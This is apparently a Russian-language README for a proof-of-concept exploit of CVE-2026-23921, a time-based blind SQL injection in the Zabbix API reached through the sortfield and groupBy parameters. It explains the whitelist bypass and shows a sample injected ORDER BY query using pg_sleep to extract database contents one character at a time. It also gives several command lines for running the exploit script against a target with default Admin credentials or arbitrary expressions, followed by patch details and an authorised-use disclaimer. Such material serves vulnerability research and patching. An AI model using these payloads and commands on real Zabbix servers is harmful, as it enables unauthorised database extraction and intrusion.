
Эксплойт proof-of-concept для CVE-2026-23921 — слепой SQL-инъекции на основе времени в Zabbix API через параметр sortfield, позволяющей извлекать данные из бэкендов PostgreSQL и MySQL.
Уязвимые версии: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: High
Тип: Time-based blind SQL-инъекция через параметр sortfield
Требуется аутентификация: Да (любой пользователь API; Super Admin избегает проверок прав)
Устаревшие сервисы Zabbix API (host.get, trigger.get, item.get и т. д.) принимают необъявленный параметр groupBy через zbx_array_merge(). В CApiService::applyQuerySortOptions() массив groupBy заменяет жёстко заданный белый список, используемый для валидации sortfield. Атакующий передаёт одну и ту же SQL-полезную нагрузку и в groupBy, и в sortfield — валидация проходит по контролируемому атакующим списку, и полезная нагрузка попадает в ORDER BY без экранирования.
groupBy: ["hostid,(SELECT IF(...))--"] и sortfield: "hostid,(SELECT IF(...))--" с countOutput: truezbx_array_merge сохраняет необъявленный ключ groupByapplyQuerySortOptions строит белый список из groupBy → валидация проходитapplyQuerySortField конкатенирует полезную нагрузку в ORDER BYcreateSelectQueryFromParts формирует итоговый SQL без экранированияSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Обновитесь до Zabbix 7.0.22 / 7.2.15 / 7.4.6 или более поздней версии.
Патч заменяет array_merge($options['groupBy'], ...) на array_intersect($this->sortColumns, $options['groupBy']), чтобы значения, предоставленные атакующим, никогда не попадали в белый список. Дополнительно добавлены проверки типов is_string() и is_array() в качестве эшелонированной защиты.
Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.